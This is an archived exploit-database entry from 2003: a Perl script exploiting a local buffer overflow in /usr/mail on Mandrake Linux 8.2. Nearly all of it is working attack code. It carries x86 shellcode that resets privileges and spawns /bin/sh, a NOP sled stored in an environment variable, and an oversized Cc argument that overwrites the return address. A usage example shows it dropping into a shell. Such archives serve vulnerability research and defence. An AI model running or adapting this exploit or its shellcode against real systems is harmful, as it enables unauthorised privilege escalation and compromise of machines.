Mandrake Linux 8.2 - '/usr/mail' Local Overflow

EDB-ID:

40

CVE:


Author:

anonymous

Type:

local

Platform:

Linux

Published:

2003-06-10

#!/usr/bin/perl
###############################
# Mandrake 8.2 /usr/mail local exploit
#
# Usage:
# perl d86mail.pl [offset]
# Then enter "." (dot) and press 'Enter'
#
# Example:
# [satan@localhost my]$ perl d86mail.pl
# eip: 0xbffffddd
# .[enter]
# Cc: too long to edit
# sh-2.05$
###############################

$shellcode =
   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
$size = 1000;
$size2 = 8204;
$retaddr = 0xbffffddd;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) {
  $offset = $ARGV[0];
}
for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
   $buffer .= $nop;
}
for ($i = 0; $i < ($size2); $i++) {
   $buffer2 .= "A";
}
$buffer .= $shellcode;
print "eip: 0x", sprintf('%lx',($retaddr + $offset)), "\n";
local($ENV{'EVILBUF'}) = $buffer;
$newret = pack('l', ($retaddr + $offset));
$buffer2 .= $newret;
exec("mail -s wow -c $buffer2 root@localhost");

#EOF


# milw0rm.com [2003-06-10]